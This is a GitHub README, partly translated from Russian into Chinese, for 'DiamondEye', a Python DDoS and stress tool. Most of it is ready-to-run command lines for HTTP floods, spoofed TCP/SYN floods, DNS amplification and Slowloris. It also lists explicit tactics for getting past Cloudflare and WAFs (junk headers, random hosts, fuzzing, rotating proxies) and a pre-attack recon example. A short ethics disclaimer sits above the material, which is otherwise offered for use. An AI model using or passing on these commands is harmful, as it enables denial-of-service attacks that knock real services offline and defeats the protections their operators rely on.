UndefinedClear/DiamondEye

GitHub: UndefinedClear/DiamondEye

一款基于 Python 的多层安全测试平台,集成压测、侦察与插件扩展能力,用于评估 Web 系统和网络基础设施的安全性与抗压性能。

Stars: 2 | Forks: 0

# 🔥 DiamondEye v10.0 — 高级多层安全测试平台 **DiamondEye** — 是一个用于安全测试和 Web 系统负载测试的高性能平台,采用模块化架构构建,支持多层攻击。 ## ⚖️ **重要提示:道德使用规则** ### 🚫 **禁止用于攻击:** - 国家和军事资源 - 金融机构(银行、支付系统) - 关键基础设施(能源、医疗) - 未经许可的云服务商和托管服务 - 任何未经明确书面同意的系统 **您需承担使用本工具的全部法律责任**。开发者不对滥用行为承担责任。 ## 📋 目录 1. [🌟 v10.0 新特性](#-новые-возможности-v100) 2. [🚀 快速开始](#-быстрый-старт) 3. [⚙️ 安装](#️-установка) 4. [🎯 主要工作模式](#-основные-режимы-работы) 5. [⚡ 标志和参数](#-флаги-и-параметры) 6. [📊 报告与分析](#-отчетность-и-аналитика) 7. [🔧 使用示例](#-примеры-использования) 8. [🛡️ 系统要求](#️-системные-требования) 9. [⚠️ 警告和限制](#️-предупреждения-и-ограничения) 10. [❓ 常见问题解答](#-часто-задаваемые-вопросы) 11. [📞 支持与联系](#-поддержка-и-контакты) 12. [📜 许可证和致谢](#-лицензия-и-благодарности) ## 🌟 v10.0 新特性 ### 🎯 **多层攻击** - **Layer7 (HTTP)** — 全面支持 HTTP/1.1、HTTP/2、HTTP/3 - **Layer4 (TCP)** — 支持 IP 伪造的 TCP flood - **Amplification** — DNS、NTP、Memcached 放大攻击 - **Slowloris** — 通过插件实现的经典慢速攻击 ### 🧩 **插件架构** - **动态加载** — 插件即时加载 - **现成插件** — Slowloris、UDP flood、自定义攻击 - **创建自己的插件** — 简单的插件开发 API - **自动发现** — 自动扫描插件 ### 🔍 **侦察系统** - **端口扫描器** — 快速扫描开放端口 - **DNS 分析** — 收集 DNS 记录、子域名 - **SSL/TLS 审计** — 检查证书和配置 - **服务发现** — 自动检测运行中的服务 ### 🚀 **高级功能** - **Proxy Manager** — 自动收集和轮换代理 - **Resource Monitor** — 详细的系统资源监控 - **Adaptive Attacks** — 带反馈的自适应攻击 - **Multi-Protocol** — 支持 WebSocket、GraphQL、API ### 📈 **分析与报告** - **实时统计** — RPS、PPS、延迟、错误 - **性能图表** — 实时可视化 - **详细报告** — 文本、JSON、CSV 格式 - **数据导出** — 与监控系统集成 ## 🚀 快速开始 ### 1. 安装 ``` git clone https://github.com/UndefinedClear/DiamondEye.git cd DiamondEye pip install -r requirements.txt ``` ### 2. 基础检查 ``` # Layer7 HTTP 测试 python main.py https://your-server.com --workers 10 --sockets 50 # 可用插件列表 python main.py --list-plugins # 目标快速侦察 python main.py target.com --recon ``` ### 3. 完整测试 ``` python main.py https://your-server.com \ --attack-type http \ --workers 500 \ --sockets 2000 \ --http2 \ --flood \ --junk \ --path-fuzz \ -l test_report.log \ --json metrics.json \ --plot performance.png ``` ## ⚙️ 安装 ### 系统要求 - **Python 3.8+**(推荐 3.10+) - **操作系统**: Linux(推荐)、macOS、Windows(部分支持) - **内存**: 4+ GB RAM - **网络**: 稳定的互联网连接 ### 安装依赖 ``` # 基础依赖 pip install -r requirements.txt # 可选依赖 pip install httpx[http2] # Для HTTP/2 поддержки pip install httpx[http3] # Для HTTP/3 (QUIC) поддержки pip install aiohttp-socks # Для SOCKS прокси поддержки pip install uvloop # Для максимальной производительности ``` ### Docker 安装 ``` # 构建镜像 docker build -t diamondeye . # 运行 docker run -it --rm --network host diamondeye \ python main.py https://target.com --workers 100 ``` ## 🎯 主要工作模式 ### 📡 **Layer7 HTTP Attack** Web 应用程序负载测试的主要模式。 ``` python main.py --attack-type http [параметры] ``` **特点:** - 异步处理数千个请求 - 支持所有主要 HTTP 方法 - 可配置的负载强度 - 模式:flood、slowloris、adaptive ### 🔌 **Layer4 TCP Attack** 用于测试网络基础设施的 TCP flood。 ``` python main.py --attack-type tcp --target-ip --target-port ``` **特点:** - Raw socket 支持(需要 root/admin 权限) - IP 地址伪造 - 自定义数据包大小 - 支持 SYN flood ### 🌪️ **DNS Amplification** 用于测试 DDoS 防护的放大攻击。 ``` python main.py --attack-type dns --target-ip --amplification ``` **特点:** - 支持公共 DNS 服务器 - 自动选择域名 - 评估放大系数 ### 🔍 **Reconnaissance Mode** 测试前收集目标信息。 ``` python main.py --recon [дополнительные параметры] ``` **功能:** - 端口扫描 - DNS 分析和子域名 - SSL/TLS 审计 - 漏洞发现 - 报告导出 ### 🧩 **Plugin System** 通过插件运行专门的攻击。 ``` # 插件列表 python main.py --list-plugins # 运行插件 python main.py --plugin ``` ## ⚡ 标志和参数 ### 🎯 **基本参数** | 标志 | 描述 | 示例 | 默认值 | |------|----------|--------|--------------| | `--attack-type` | 攻击类型 | `--attack-type http` | http | | `--target-ip` | 目标 IP | `--target-ip 192.168.1.1` | - | | `--target-port` | 目标端口 | `--target-port 80` | 80 | | `-w`, `--workers` | Worker 数量 | `-w 500` | 10 | | `-s`, `--sockets` | 每个 Worker 的 Socket 数 | `-s 1000` | 100 | | `--duration` | 攻击持续时间(秒) | `--duration 60` | 0(无限) | ### 🚀 **Layer7 参数** | 标志 | 描述 | 示例 | |------|----------|--------| | `-m`, `--methods` | HTTP 方法 | `-m GET,POST` | | `-u`, `--useragents` | User-Agent 文件 | `-u ua.txt` | | `-n`, `--no-ssl-check` | 禁用 SSL 检查 | `-n` | | `--http2` | 使用 HTTP/2 | `--http2` | | `--http3` | 使用 HTTP/3 (QUIC) | `--http3` | | `--websocket` | WebSocket flood 模式 | `--websocket` | | `--flood` | 最大 RPS | `--flood` | | `--extreme` | 每个请求新建连接 | `--extreme` | | `--slow N` | Slowloris 攻击 | `--slow 0.1` | | `--adaptive` | 自适应模式 | `--adaptive` | ### 🛡️ **防护绕过参数** | 标志 | 描述 | 示例 | |------|----------|--------| | `--junk` | 添加随机 Headers | `--junk` | | `--header-flood` | 最多 20 个随机 Headers | `--header-flood` | | `--random-host` | Host 中使用随机子域名 | `--random-host` | | `--path-fuzz` | 随机深层路径 | `--path-fuzz` | | `--method-fuzz` | 使用罕见方法 | `--method-fuzz` | | `--rotate-ua` | User-Agent 轮换 | `--rotate-ua` | | `--spoof-ip` | IP 伪造(用于 Layer4) | `--spoof-ip` | ### 🌐 **网络参数** | 标志 | 描述 | 示例 | |------|----------|--------| | `--proxy` | 使用代理 | `--proxy http://127.0.0.1:8080` | | `--proxy-file` | 代理列表文件 | `--proxy-file proxies.txt` | | `--proxy-auto` | 自动收集代理 | `--proxy-auto` | | `--interface` | 网络接口 | `--interface eth0` | | `--source-port` | 自定义源端口 | `--source-port 12345` | ### 🔍 **侦察 (Recon)** | 标志 | 描述 | 示例 | |------|----------|--------| | `--recon` | 启用侦察 | `--recon` | | `--recon-full` | 完整侦察 | `--recon-full` | | `--recon-ports` | 要扫描的端口 | `--recon-ports 21,80,443` | | `--recon-save` | 保存报告 | `--recon-save report.json` | ### 🧩 **插件系统** | 标志 | 描述 | 示例 | |------|----------|--------| | `--plugin` | 使用插件 | `--plugin Slowloris` | | `--list-plugins` | 列出插件 | `--list-plugins` | | `--plugin-config` | 插件配置 | `--plugin-config config.json` | ### 📊 **报告和监控** | 标志 | 描述 | 示例 | |------|----------|--------| | `-l`, `--log` | 文本报告 | `-l report.log` | | `--json` | JSON 报告 | `--json metrics.json` | | `--plot` | RPS 图表 | `--plot graph.png` | | `--monitor-interval` | 监控间隔 | `--monitor-interval 0.5` | | `--save-stats` | 保存统计 | `--save-stats` | | `--resource-alert` | 警告阈值 | `--resource-alert 90` | ### ⚙️ **高级选项** | 标志 | 描述 | 示例 | |------|----------|--------| | `-d`, `--debug` | 调试模式 | `-d` | | `--packet-size` | 数据包大小 (Layer4) | `--packet-size 1024` | | `--packet-count` | 数据包数量 | `--packet-count 10000` | | `--ttl` | IP TTL 值 | `--ttl 64` | | `--max-rps` | 最大 RPS | `--max-rps 1000` | | `--max-bandwidth` | 最大带宽 | `--max-bandwidth 100` | ## 📊 报告与分析 ### 文本报告 ``` python main.py https://target.com --log report.txt ``` **报告示例:** ``` ╔════════════════════════════════════════════════╗ ║ DIAMONDEYE v10.0 — REPORT ║ ╚════════════════════════════════════════════════╝ 🎯 Цель: https://target.com ⚡ Тип атаки: HTTP Flood ⏱️ Длительность: 60s 🔁 Воркеры: 500 | Сокетов: 2000 📊 Отправлено запросов: 1,245,678 🚀 Средний RPS: 20,761 📈 Успешность: 98.7% ⚠️ Ошибок: 15,893 💻 Использование CPU: 78.5% 🧠 Использование RAM: 65.2% ════════════════════════════════════════════════ ``` ### JSON 报告 ``` python main.py https://target.com --json metrics.json ``` ``` { "tool": "DiamondEye", "version": "10.0", "target": "https://target.com", "attack_type": "http", "duration_sec": 60, "config": { "workers": 500, "sockets": 2000, "methods": ["GET", "POST"], "http2": true }, "metrics": { "total_requests": 1245678, "successful": 1230000, "failed": 15678, "success_rate": 98.74, "average_rps": 20761, "peak_rps": 25432, "average_latency_ms": 45.2 }, "resources": { "cpu_avg": 78.5, "ram_avg": 65.2, "network_mbps": 125.4 } } ``` ### 性能图表 ``` python main.py https://target.com --plot performance.png ``` 图表包括: - 实时 RPS (Requests Per Second) - CPU 和 RAM 使用率 - 网络活动 (Mbps) - 错误历史 ## 🔧 使用示例 ### 示例 1: Layer7 HTTP Flood ``` # Web 服务器最大负载 python main.py https://api.example.com/v1/users \ --attack-type http \ -w 1000 \ -s 5000 \ --http2 \ --flood \ --junk \ --header-flood \ --random-host \ --path-fuzz \ --duration 300 \ -l http_flood.log \ --json http_metrics.json ``` ### 示例 2: Layer4 TCP Flood ``` # 带 IP 欺骗的 TCP Flood(需要 root) sudo python main.py \ --attack-type tcp \ --target-ip 192.168.1.100 \ --target-port 80 \ --workers 200 \ --spoof-ip \ --packet-size 1024 \ --duration 180 \ -l tcp_flood.log ``` ### 示例 3: DNS Amplification ``` # DNS amplification 测试 python main.py \ --attack-type dns \ --target-ip 192.168.1.100 \ --amplification \ --workers 50 \ --duration 120 \ -l dns_amp.log ``` ### 示例 4: 目标完整侦察 ``` # 攻击前信息收集 python main.py target-company.com \ --recon-full \ --recon-ports 21-25,80,443,3306,3389,8080,8443 \ --recon-save recon_report.json ``` ### 示例 5: 使用 Slowloris 插件 ``` # 通过插件的 Slowloris 攻击 python main.py https://target.com \ --plugin Slowloris \ --workers 100 \ --duration 600 \ --plugin-config slowloris_config.json ``` ### 示例 6: 自适应测试 ``` # 自动寻找性能极限 python main.py https://app.example.com \ --attack-type http \ --adaptive \ --http2 \ -w 100 \ -s 500 \ --max-rps 5000 \ --duration 600 \ --json adaptive_results.json ``` ### 示例 7: 通过代理测试 ``` # 使用自动收集的 Proxy python main.py https://target.com \ --proxy-auto \ --proxy-timeout 3 \ --rotate-ua \ -w 200 \ -s 1000 \ --duration 180 ``` ### 示例 8: WebSocket 负载测试 ``` # WebSocket 负载测试 python main.py wss://chat.example.com/ws \ --websocket \ -w 50 \ -s 200 \ --data-size 400k \ --duration 300 \ -l websocket_test.log ``` ## 🛡️ 系统要求 ### 💻 硬件要求 | 组件 | 最低 | 推荐 | 生产环境 | |-----------|---------|---------------|----------------| | **CPU** | 2 核 | 4+ 核 | 8+ 核 | | **RAM** | 4 GB | 8 GB | 16+ GB | | **磁盘** | 100 MB | 1 GB | 10+ GB SSD | | **网络** | 100 Mbps | 1 Gbps | 10+ Gbps | ### 🐧 操作系统最佳设置 有关配置系统的详细说明,请参阅 [SYSTEM.md](SYSTEM.md)。 **关键设置:** ``` # Linux: 增加限制 ulimit -n 65536 sysctl -w net.core.somaxconn=65535 # Windows: 增加端口 netsh int ipv4 set dynamicport tcp start=1024 num=64511 ``` ### 📦 Python 要求 - **Python 3.8+**(推荐 3.10+) - **pip 20.3+** - **Virtual environment**(推荐) ## ⚠️ 警告和限制 ### 🔥 **高风险** 1. **硬件过热** — 可能导致硬件故障 2. **资源耗尽** — 可能导致服务器崩溃 3. **IP 被封禁** — 运营商可能会因可疑活动封禁 IP 4. **法律后果** — 非法使用将受到法律追究 ### ⚡ **技术限制** | 限制 | 值 | 变通方法 | |-------------|----------|-------| | 最大连接数 | 每个 IP 约 65,535 | 使用多个 IP | | 最大 RPS | 取决于网络 | 代码优化,HTTP/2 | | CPU 消耗 | 高 | 限制 Worker | | 内存使用 | 每个 Worker 10-100 MB | 减少 `--sockets` | ### ❌ **不兼容的组合** ``` # 不工作: --http2 --extreme # HTTP/2 требует постоянных соединений --proxy --slow # Slowloris не работает через прокси --flood --slow # Противоречивые режимы --http3 --proxy # HTTP/3 пока не поддерживает прокси ``` ### 🚧 **已知问题** 1. **Windows** — 高负载支持有限 2. **HTTP/3** — 实验性支持,可能存在错误 3. **Raw sockets** — 在 Linux 中需要 root/admin 权限 4. **Python 3.7 及版本** — 不支持 ## ❓ 常见问题解答 ### ❓ 可以达到的最大 RPS 是多少? **回答:** 取决于许多因素: - 在本地服务器上:25,000+ RPS - 通过互联网:5,000-10,000 RPS - 在弱硬件上:1,000-5,000 RPS **最大 RPS 的建议:** ``` python main.py https://target.com \ --attack-type http \ --http2 \ --flood \ -w 500 \ -s 2000 \ --no-ssl-check \ --junk ``` ### ❓ 为什么性能会随时间下降? **可能的原因:** 1. **端口耗尽** — 谨慎使用 `--extreme` 2. **CPU 过热** — 减少 Worker 数量 3. **防火墙封锁** — 使用 `--random-host` 4. **操作系统限制** — 按指南配置系统 ### ❓ 如何通过 Cloudflare 或 WAF 进行测试? **绕过策略:** ``` # 1. 慢速攻击 python main.py https://target.com --slow 0.3 -w 50 # 2. 随机 Header python main.py https://target.com --junk --header-flood --random-host # 3. 带多路复用的 HTTP/2 python main.py https://target.com --http2 --flood # 4. 组合方法 python main.py https://target.com \ --http2 \ --junk \ --random-host \ --path-fuzz \ --method-fuzz ``` ### ❓ 如何解读结果? **关键指标:** - **RPS > 1000** — 性能良好 - **成功率 > 95%** — 运行稳定 - **延迟 < 100ms** — 响应快速 - **错误率 < 5%** — 系统可靠 **警示信号:** - RPS 随时间下降 - 延迟增加 - 错误百分比上升 - 图表不稳定 ### ❓ 如何创建自己的插件? 1. 在 `plugins/` 文件夹中创建文件 2. 继承 `BasePlugin` 类 3. 实现 `initialize`、`execute`、`cleanup` 方法 4. 插件将被自动发现 **插件示例:** ``` from plugins.plugin_manager import BasePlugin, PluginInfo class MyPlugin(BasePlugin): async def initialize(self, config): self.config = config return True async def execute(self, target): # Ваша логика атаки return {"status": "success"} ``` ## 📞 支持与联系 ### 🐛 错误报告 - **GitHub Issues**: [https://github.com/UndefinedClear/DiamondEye/issues](https://github.com/UndefinedClear/DiamondEye/issues) - **作者 Telegram**: [@pelikan6](https://t.me/pelikan6) - **Telegram 社区**: [https://t.me/x_xffx_x](https://t.me/x_xffx_x) - **Email**: larion626@gmail.com **Bug 报告模板:** ``` ## 问题描述 ## 复现步骤 1. 2. 3. ## 预期行为 ## 实际行为 ## 日志和截图 ## DiamondEye 版本和操作系统 ``` ## 📜 许可证和致谢 ### 许可证 ``` ``` ### 关于项目 - **开发者**: larion928 Teron - **灵感来源**: Golden Eye - **特别感谢**: UndefinedClear Hyprbro - **感谢**: 所有 Telegram 群组的参与者 ### ⭐ 喜欢这个项目? 如果 DiamondEye 对您有用: 1. **在 GitHub 上给个 Star** ⭐ 2. **告诉同事** 🗣️ 3. **贡献代码** 🔧 4. **支持社区** 💝 **让我们一起让互联网更安全!** 🔐 **文档版本:** 10.0 | **最后更新:** 2025
标签:ASM汇编, Bypass, DDoS, Exploit, Hacking Tool, Layer7, meg, Network Stress Testing, Penetration Testing, Port Scanner, Proxy, Python, Web安全, 信息安全, 匿名攻击, 压力测试, 多层攻击, 安全测试, 密码管理, 性能测试, 插件系统, 攻击性安全, 攻击模拟, 数据展示, 无后门, 模块化架构, 红队, 网络安全, 蓝队分析, 请求拦截, 调试插件, 负载测试, 运行时操纵, 配置错误, 钻石眼, 隐私保护, 驱动签名利用